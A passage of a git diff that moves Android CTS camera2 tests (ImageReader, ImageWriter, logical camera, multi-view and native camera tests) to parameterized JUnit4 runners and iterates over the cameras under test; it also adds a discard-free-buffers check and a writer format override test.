+        for (String cameraId : mCameraIdsUnderTest) {
+            testCameraAccessForIdleUidByCamera(cameraId,
                     new Handler(sCallbackThread.getLooper()));
         }
     }
@@ -86,32 +90,29 @@
      */
     @Test
     public void testCameraAccessBecomingInactiveUid() throws Exception {
-        final CameraManager cameraManager = InstrumentationRegistry.getTargetContext()
-                .getSystemService(CameraManager.class);
-        for (String cameraId : cameraManager.getCameraIdList()) {
-            testCameraAccessBecomingInactiveUidByCamera(cameraManager, cameraId,
+        for (String cameraId : mCameraIdsUnderTest) {
+            testCameraAccessBecomingInactiveUidByCamera(cameraId,
                     new Handler(sCallbackThread.getLooper()));
         }
-
     }
 
-    private void testCameraAccessForIdleUidByCamera(CameraManager cameraManager,
-            String cameraId, Handler handler) throws Exception {
+    private void testCameraAccessForIdleUidByCamera(String cameraId, Handler handler)
+            throws Exception {
         // Can access camera from an active UID.
-        assertCameraAccess(cameraManager, cameraId, true, handler);
+        assertCameraAccess(mCameraManager, cameraId, true, handler);
 
         // Make our UID idle
         makeMyPackageIdle();
         try {
             // Can not access camera from an idle UID.
-            assertCameraAccess(cameraManager, cameraId, false, handler);
+            assertCameraAccess(mCameraManager, cameraId, false, handler);
         } finally {
             // Restore our UID as active
             makeMyPackageActive();
         }
 
         // Can access camera from an active UID.
-        assertCameraAccess(cameraManager, cameraId, true, handler);
+        assertCameraAccess(mCameraManager, cameraId, true, handler);
     }
 
     private static void assertCameraAccess(CameraManager cameraManager,
@@ -152,14 +153,14 @@
         }
     }
 
-    private void testCameraAccessBecomingInactiveUidByCamera(CameraManager cameraManager,
-            String cameraId, Handler handler) throws Exception {
+    private void testCameraAccessBecomingInactiveUidByCamera(String cameraId, Handler handler)
+            throws Exception {
         // Mock the callback used to observe camera state.
         final CameraDevice.StateCallback callback = mock(CameraDevice.StateCallback.class);
 
         // Open the camera
         try {
-            cameraManager.openCamera(cameraId, callback, handler);
+            mCameraManager.openCamera(cameraId, callback, handler);
         } catch (CameraAccessException e) {
             fail("Unexpected exception" + e);
         }
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index abd6bb6..971b51c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -52,11 +52,17 @@
 import java.util.Arrays;
 import java.util.List;
 
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
 import static android.hardware.camera2.cts.CameraTestUtils.CAPTURE_RESULT_TIMEOUT_MS;
+import static android.hardware.camera2.cts.CameraTestUtils.SESSION_READY_TIMEOUT_MS;
 import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
 import static android.hardware.camera2.cts.CameraTestUtils.SimpleImageReaderListener;
 import static android.hardware.camera2.cts.CameraTestUtils.dumpFile;
 import static android.hardware.camera2.cts.CameraTestUtils.getValueNotNull;
+import static junit.framework.Assert.*;
 
 /**
  * <p>Basic test for ImageReader APIs. It uses CameraDevice as producer, camera
@@ -68,6 +74,7 @@
  * <p>Some invalid access test. </p>
  * <p>TODO: Add more format tests? </p>
  */
+@RunWith(Parameterized.class)
 public class ImageReaderTest extends Camera2AndroidTestCase {
     private static final String TAG = "ImageReaderTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -92,22 +99,18 @@
     private SimpleImageListener mListener;
 
     @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         super.tearDown();
     }
 
+    @Test
     public void testFlexibleYuv() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
                 openDevice(id);
@@ -118,8 +121,9 @@
         }
     }
 
+    @Test
     public void testDepth16() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
                 openDevice(id);
@@ -130,8 +134,9 @@
         }
     }
 
+    @Test
     public void testDepthPointCloud() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
                 openDevice(id);
@@ -142,8 +147,9 @@
         }
     }
 
+    @Test
     public void testDynamicDepth() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 openDevice(id);
                 bufferFormatTestByCamera(ImageFormat.DEPTH_JPEG, /*repeating*/true,
@@ -154,8 +160,9 @@
         }
     }
 
+    @Test
     public void testY8() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
                 openDevice(id);
@@ -166,8 +173,9 @@
         }
     }
 
+    @Test
     public void testJpeg() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing jpeg capture for Camera " + id);
                 openDevice(id);
@@ -178,8 +186,9 @@
         }
     }
 
+    @Test
     public void testRaw() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing raw capture for camera " + id);
                 openDevice(id);
@@ -191,8 +200,9 @@
         }
     }
 
+    @Test
     public void testRawPrivate() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing raw capture for camera " + id);
                 openDevice(id);
@@ -204,8 +214,9 @@
         }
     }
 
+    @Test
     public void testHeic() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing heic capture for Camera " + id);
                 openDevice(id);
@@ -216,8 +227,9 @@
         }
     }
 
+    @Test
     public void testRepeatingJpeg() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing repeating jpeg capture for Camera " + id);
                 openDevice(id);
@@ -228,8 +240,9 @@
         }
     }
 
+    @Test
     public void testRepeatingRaw() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing repeating raw capture for camera " + id);
                 openDevice(id);
@@ -241,8 +254,9 @@
         }
     }
 
+    @Test
     public void testRepeatingRawPrivate() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing repeating raw capture for camera " + id);
                 openDevice(id);
@@ -254,8 +268,9 @@
         }
     }
 
+    @Test
     public void testRepeatingHeic() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing repeating heic capture for Camera " + id);
                 openDevice(id);
@@ -266,8 +281,9 @@
         }
     }
 
+    @Test
     public void testLongProcessingRepeatingRaw() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing long processing on repeating raw for camera " + id);
 
@@ -284,8 +300,9 @@
         }
     }
 
+    @Test
     public void testLongProcessingRepeatingFlexibleYuv() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing long processing on repeating YUV for camera " + id);
 
@@ -309,9 +326,10 @@
      * for camera case. For if the produced image byte buffer is not direct byte buffer, there
      * is no guarantee to get an ISE for this invalid access case.
      */
+    @Test
     public void testInvalidAccessTest() throws Exception {
         // Test byte buffer access after an image is released, it should throw ISE.
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing invalid image access for Camera " + id);
                 openDevice(id);
@@ -328,8 +346,9 @@
      *
      * <p>Both stream formats are mandatory for Camera2 API</p>
      */
+    @Test
     public void testYuvAndJpeg() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "YUV and JPEG testing for camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -351,8 +370,9 @@
      *
      * <p>Both stream formats are mandatory for Camera2 API</p>
      */
+    @Test
     public void testYuvAndJpegWithUsageFlag() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "YUV and JPEG testing for camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -372,8 +392,9 @@
      * Test two image stream (YUV420_888 and RAW_SENSOR) capture by using ImageReader.
      *
      */
+    @Test
     public void testImageReaderYuvAndRaw() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "YUV and RAW testing for camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -394,8 +415,9 @@
      * ImageFormat.PRIVATE + PROTECTED usage capture by using ImageReader with the
      * ImageReader factory method that has usage flag argument, and uses a custom usage flag.
      */
+    @Test
     public void testImageReaderPrivateWithProtectedUsageFlag() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Private format and protected usage testing for camera " + id);
                 if (!mAllStaticInfo.get(id).isCapabilitySupported(
@@ -420,8 +442,9 @@
      * ImageReader factory method that has usage flag argument.
      *
      */
+    @Test
     public void testImageReaderYuvAndRawWithUsageFlag() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "YUV and RAW testing for camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -441,10 +464,11 @@
      * Check that the center patches for YUV and JPEG outputs for the same frame match for each YUV
      * resolution and format supported.
      */
+    @Test
     public void testAllOutputYUVResolutions() throws Exception {
         Integer[] sessionStates = {BlockingSessionCallback.SESSION_READY,
                 BlockingSessionCallback.SESSION_CONFIGURE_FAILED};
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Testing all YUV image resolutions for camera " + id);
 
@@ -685,10 +709,11 @@
     /**
      * Test that images captured after discarding free buffers are valid.
      */
+    @Test
     public void testDiscardFreeBuffers() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
-                Log.v(TAG, "Testing jpeg capture for Camera " + id);
+                Log.v(TAG, "Testing discardFreeBuffers for Camera " + id);
                 openDevice(id);
                 discardFreeBuffersTestByCamera();
             } finally {
@@ -698,6 +723,7 @@
     }
 
     /** Tests that usage bits are preserved */
+    @Test
     public void testUsageRespected() throws Exception {
         ImageReader reader = ImageReader.newInstance(1, 1, PixelFormat.RGBA_8888, 1,
                 HardwareBuffer.USAGE_GPU_COLOR_OUTPUT | HardwareBuffer.USAGE_GPU_SAMPLED_IMAGE);
@@ -964,13 +990,13 @@
 
         final Size SIZE = mStaticInfo.getAvailableSizesForFormatChecked(FORMAT,
                 StaticMetadata.StreamDirection.Output)[0];
-        Image img = null;
         // Create ImageReader.
         mListener = new SimpleImageListener();
         createDefaultImageReader(SIZE, FORMAT, MAX_NUM_IMAGES, mListener);
 
         // Start capture.
         final boolean REPEATING = true;
+        final boolean SINGLE = false;
         CaptureRequest request = prepareCaptureRequest();
         SimpleCaptureCallback listener = new SimpleCaptureCallback();
         startCapture(request, REPEATING, listener, mHandler);
@@ -985,6 +1011,23 @@
         // Validate images and capture resulst again.
         validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
         validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+
+        // Stop repeating request in preparation for discardFreeBuffers
+        mCameraSession.stopRepeating();
+        mCameraSessionListener.getStateWaiter().waitForState(
+                BlockingSessionCallback.SESSION_READY, SESSION_READY_TIMEOUT_MS);
+
+        // Drain the reader queue and discard free buffers from the reader.
+        Image img = mReader.acquireLatestImage();
+        if (img != null) {
+            img.close();
+        }
+        mReader.discardFreeBuffers();
+
+        // Do a single capture for camera device to reallocate buffers
+        mListener.reset();
+        startCapture(request, SINGLE, listener, mHandler);
+        validateImage(SIZE, FORMAT, /*captureCount*/1, SINGLE);
     }
 
     private void bufferFormatTestByCamera(int format, boolean repeating) throws Exception {
@@ -1212,6 +1255,10 @@
                 image.close();
             }
         }
+
+        public void reset() {
+            imageAvailable.close();
+        }
     }
 
     private void validateImage(Size sz, int format, int captureCount,  boolean repeating)
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 38f8816..99c6b33 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -17,8 +17,10 @@
 package android.hardware.camera2.cts;
 
 import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static junit.framework.Assert.*;
 
 import android.graphics.ImageFormat;
+import android.graphics.SurfaceTexture;
 import android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
 import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
 import android.hardware.camera2.CameraDevice;
@@ -38,6 +40,10 @@
 import java.util.Arrays;
 import java.util.List;
 
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
 /**
  * <p>
  * Basic test for ImageWriter APIs. ImageWriter takes the images produced by
@@ -45,6 +51,7 @@
  * interface or ImageReader.
  * </p>
  */
+@RunWith(Parameterized.class)
 public class ImageWriterTest extends Camera2AndroidTestCase {
     private static final String TAG = "ImageWriterTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -56,7 +63,7 @@
     private ImageWriter mWriter;
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         try {
             closeImageReader(mReaderForWriter);
         } finally {
@@ -88,8 +95,9 @@
      * interface.</li>
      * </p>
      */
+    @Test
     public void testYuvImageWriterReaderOperation() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -110,8 +118,9 @@
      * factory method of ImageReader and ImageWriter.
      * </p>
      */
+    @Test
     public void testYuvImageWriterReaderOperationAlt() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
                 if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
@@ -126,6 +135,7 @@
         }
     }
 
+    @Test
     public void testAbandonedSurfaceExceptions() throws Exception {
         final int READER_WIDTH = 1920;
         final int READER_HEIGHT = 1080;
@@ -170,6 +180,29 @@
         }
     }
 
+    @Test
+    public void testWriterFormatOverride() throws Exception {
+        int[] TEXTURE_TEST_FORMATS = {ImageFormat.YV12, ImageFormat.YUV_420_888};
+        SurfaceTexture texture = new SurfaceTexture(/*random int*/1);
+        texture.setDefaultBufferSize(640, 480);
+        Surface surface = new Surface(texture);
+
+        // Make sure that the default newInstance is still sane.
+        ImageWriter defaultWriter = ImageWriter.newInstance(surface, MAX_NUM_IMAGES);
+        Image defaultImage = defaultWriter.dequeueInputImage();
+        defaultWriter.close();
+
+        for (int format : TEXTURE_TEST_FORMATS) {
+            // Override default buffer format of Surface texture to test format
+            ImageWriter writer = ImageWriter.newInstance(surface, MAX_NUM_IMAGES, format);
+            Image image = writer.dequeueInputImage();
+            Log.i(TAG, "testing format " + format + ", got input image format " +
+                    image.getFormat());
+            assertTrue(image.getFormat() == format);
+            writer.close();
+        }
+    }
+
     private void readerWriterFormatTestByCamera(int format, boolean altFactoryMethod)
             throws Exception {
         List<Size> sizes = getSortedSizesForFormat(mCamera.getId(), mCameraManager, format, null);
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 37dfbdd..27e6492 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -66,6 +66,8 @@
 import java.util.Map;
 import java.util.Set;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
 import org.junit.Test;
 
 import static org.mockito.Mockito.*;
@@ -73,6 +75,7 @@
 /**
  * Tests exercising logical camera setup, configuration, and usage.
  */
+@RunWith(Parameterized.class)
 public final class LogicalCameraDeviceTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "LogicalCameraDeviceTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -107,7 +110,7 @@
      */
     @Test
     public void testInvalidPhysicalCameraIdInOutputConfiguration() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
                 if (mAllStaticInfo.get(id).isHardwareLevelLegacy()) {
@@ -167,7 +170,7 @@
     @Test
     public void testBasicPhysicalStreaming() throws Exception {
 
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
 
@@ -209,7 +212,7 @@
     @Test
     public void testBasicLogicalPhysicalStreamCombination() throws Exception {
 
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
 
@@ -331,7 +334,7 @@
     @Test
     public void testBasicPhysicalRequests() throws Exception {
 
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
 
@@ -462,7 +465,7 @@
     @Test
     public void testInvalidPhysicalCameraRequests() throws Exception {
 
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
 
@@ -569,7 +572,7 @@
     @Test
     public void testLogicalCameraZoomSwitch() throws Exception {
 
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
 
@@ -708,7 +711,7 @@
      */
     @Test
     public void testActivePhysicalId() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
 
@@ -792,7 +795,7 @@
         if (!isHandheldDevice()) {
             return;
         }
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             try {
                 Log.i(TAG, "Testing Camera " + id);
 
@@ -1109,8 +1112,12 @@
             Map<String, CaptureResult> physicalResultsDual =
                     totalCaptureResultDual.getPhysicalCameraResults();
             for (String physicalId : physicalCameraIds) {
-                 physicalTimestamps[index][i] = physicalResultsDual.get(physicalId).get(
-                         CaptureResult.SENSOR_TIMESTAMP);
+                 if (physicalResultsDual.containsKey(physicalId)) {
+                     physicalTimestamps[index][i] = physicalResultsDual.get(physicalId).get(
+                             CaptureResult.SENSOR_TIMESTAMP);
+                 } else {
+                     physicalTimestamps[index][i] = -1;
+                 }
                  index++;
             }
         }
@@ -1129,15 +1136,19 @@
         }
         for (int i = 0; i < physicalCameraIds.size(); i++) {
             for (int j = 0 ; j < NUM_FRAMES_CHECKED-1; j++) {
-                assertTrue("Physical camera timestamp must monolithically increase",
-                        physicalTimestamps[i][j] < physicalTimestamps[i][j+1]);
-                if (j > 0) {
+                if (physicalTimestamps[i][j] != -1 && physicalTimestamps[i][j+1] != -1) {
+                    assertTrue("Physical camera timestamp must monolithically increase",
+                            physicalTimestamps[i][j] < physicalTimestamps[i][j+1]);
+                }
+                if (j > 0 && physicalTimestamps[i][j] != -1) {
                     assertTrue("Physical camera's timestamp N must be greater than logical " +
                             "camera's timestamp N-1",
                             physicalTimestamps[i][j] > logicalTimestamps[j-1]);
                 }
-                assertTrue("Physical camera's timestamp N must be less than logical camera's " +
-                        "timestamp N+1", physicalTimestamps[i][j] > logicalTimestamps[j+1]);
+                if (physicalTimestamps[i][j] != -1) {
+                    assertTrue("Physical camera's timestamp N must be less than logical camera's " +
+                            "timestamp N+1", physicalTimestamps[i][j] > logicalTimestamps[j+1]);
+                }
             }
         }
         double logicalAvgDurationMs2 = (logicalTimestamps2[NUM_FRAMES_CHECKED-1] -
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 5c1f11e..fd081b3 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -50,11 +50,15 @@
 import java.util.Arrays;
 import java.util.List;
 
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 import org.junit.Test;
 
 /**
  * CameraDevice test by using combination of SurfaceView, TextureView and ImageReader
  */
+
+@RunWith(Parameterized.class)
 public class MultiViewTest extends Camera2MultiViewTestCase {
     private static final String TAG = "MultiViewTest";
     private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 5000; //ms
@@ -67,7 +71,7 @@
 
     @Test
     public void testTextureViewPreview() throws Exception {
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             Exception prior = null;
 
             try {
@@ -96,7 +100,7 @@
 
     @Test
     public void testTextureViewPreviewWithImageReader() throws Exception {
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             Exception prior = null;
 
             ImageVerifierListener yuvListener;
@@ -144,7 +148,7 @@
 
     @Test
     public void testDualTextureViewPreview() throws Exception {
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             Exception prior = null;
             try {
                 openCamera(cameraId);
@@ -177,7 +181,7 @@
 
     @Test
     public void testDualTextureViewAndImageReaderPreview() throws Exception {
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             Exception prior = null;
 
             ImageVerifierListener yuvListener;
@@ -223,31 +227,31 @@
     @Test
     public void testDualCameraPreview() throws Exception {
         final int NUM_CAMERAS_TESTED = 2;
-        if (mCameraIds.length < NUM_CAMERAS_TESTED) {
+        if (mCameraIdsUnderTest.length < NUM_CAMERAS_TESTED) {
             return;
         }
 
         try {
             for (int i = 0; i < NUM_CAMERAS_TESTED; i++) {
-                openCamera(mCameraIds[i]);
-                if (!getStaticInfo(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                openCamera(mCameraIdsUnderTest[i]);
+                if (!getStaticInfo(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
                 List<TextureView> views = Arrays.asList(mTextureView[i]);
 
-                startTextureViewPreview(mCameraIds[i], views, /*ImageReader*/null);
+                startTextureViewPreview(mCameraIdsUnderTest[i], views, /*ImageReader*/null);
             }
             // TODO: check the framerate is correct
             SystemClock.sleep(PREVIEW_TIME_MS);
             for (int i = 0; i < NUM_CAMERAS_TESTED; i++) {
-                if (!getStaticInfo(mCameraIds[i]).isColorOutputSupported()) {
-                    Log.i(TAG, "Camera " + mCameraIds[i] +
+                if (!getStaticInfo(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
                             " does not support color outputs, skipping");
                     continue;
                 }
-                stopPreview(mCameraIds[i]);
+                stopPreview(mCameraIdsUnderTest[i]);
             }
         } catch (BlockingOpenException e) {
             // The only error accepted is ERROR_MAX_CAMERAS_IN_USE, which means HAL doesn't support
@@ -257,7 +261,7 @@
             Log.i(TAG, "Camera HAL does not support dual camera preview. Skip the test");
         } finally {
             for (int i = 0; i < NUM_CAMERAS_TESTED; i++) {
-                closeCamera(mCameraIds[i]);
+                closeCamera(mCameraIdsUnderTest[i]);
             }
         }
     }
@@ -267,7 +271,7 @@
      */
     @Test
     public void testSharedSurfaceBasic() throws Exception {
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             try {
                 openCamera(cameraId);
                 if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -409,7 +413,7 @@
      */
     @Test
     public void testSharedSurfaceImageReaderSwitch() throws Exception {
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             try {
                 openCamera(cameraId);
                 if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -501,7 +505,7 @@
         int YUVFormats[] = {ImageFormat.YUV_420_888, ImageFormat.YUV_422_888,
             ImageFormat.YUV_444_888, ImageFormat.YUY2, ImageFormat.YV12,
             ImageFormat.NV16, ImageFormat.NV21};
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             try {
                 openCamera(cameraId);
                 if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -629,7 +633,7 @@
      */
     @Test
     public void testSharedSurfaceLimit() throws Exception {
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             try {
                 openCamera(cameraId);
                 if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -747,7 +751,7 @@
      */
     @Test(timeout=60*60*1000) // timeout = 60 mins for long running tests
     public void testSharedSurfaceSwitch() throws Exception {
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             try {
                 openCamera(cameraId);
                 if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
@@ -848,7 +852,7 @@
      */
     @Test
     public void testTextureImageWriterReaderOperation() throws Exception {
-        for (String id : mCameraIds) {
+        for (String id : mCameraIdsUnderTest) {
             ImageReader reader = null;
             ImageWriter writer = null;
             Surface writerOutput = null;
@@ -1037,7 +1041,7 @@
      */
     @Test
     public void testSharedSurfaces() throws Exception {
-        for (String cameraId : mCameraIds) {
+        for (String cameraId : mCameraIdsUnderTest) {
             try {
                 openCamera(cameraId);
                 if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
index 291d998..207c3e3 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
@@ -22,14 +22,17 @@
 import android.util.Size;
 import android.view.Surface;
 
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 import org.junit.Test;
 
 import static org.junit.Assert.assertTrue;
 
-
 /**
  * <p>Basic test for CameraManager class.</p>
  */
+
+@RunWith(Parameterized.class)
 public class NativeCameraDeviceTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "NativeCameraDeviceTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java
index 08e0363..0ed5f0e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java
@@ -16,13 +16,21 @@
 
 package android.hardware.camera2.cts;
 
-import android.test.AndroidTestCase;
+import android.hardware.cts.helpers.CameraParameterizedTestCase;
 import android.util.Log;
 
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static junit.framework.Assert.*;
+
 /**
  * <p>Basic test for CameraManager class.</p>
  */
-public class NativeCameraManagerTest extends AndroidTestCase {
+
+@RunWith(Parameterized.class)
+public class NativeCameraManagerTest extends CameraParameterizedTestCase {
     private static final String TAG = "NativeCameraManagerTest";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
@@ -33,21 +41,25 @@
         Log.i("NativeCameraManagerTest", "after loadlibrary");
     }
 
+    @Test
     public void testCameraManagerGetAndClose() {
         assertTrue("testCameraManagerGetAndClose fail, see log for details",
                 testCameraManagerGetAndCloseNative());
     }
 
+    @Test
     public void testCameraManagerGetCameraIds() {
         assertTrue("testCameraManagerGetCameraIds fail, see log for details",
                 testCameraManagerGetCameraIdsNative());
     }
 
+    @Test
     public void testCameraManagerAvailabilityCallback() {
         assertTrue("testCameraManagerAvailabilityCallback fail, see log for details",
                 testCameraManagerAvailabilityCallbackNative());
     }
 
+    @Test
     public void testCameraManagerCameraCharacteristics() {
         assertTrue("testCameraManagerCameraCharacteristics fail, see log for details",
                 testCameraManagerCharacteristicsNative());
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
index 0933363..493e670 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
@@ -19,9 +19,16 @@
 import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
 import android.util.Log;
 
+import org.junit.Test;
+
+import static junit.framework.Assert.*;
+
 /**
  * <p>Basic test for CameraManager class.</p>
  */
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+@RunWith(Parameterized.class)
 public class NativeImageReaderTest extends Camera2AndroidTestCase {
     private static final String TAG = "NativeImageReaderTest";
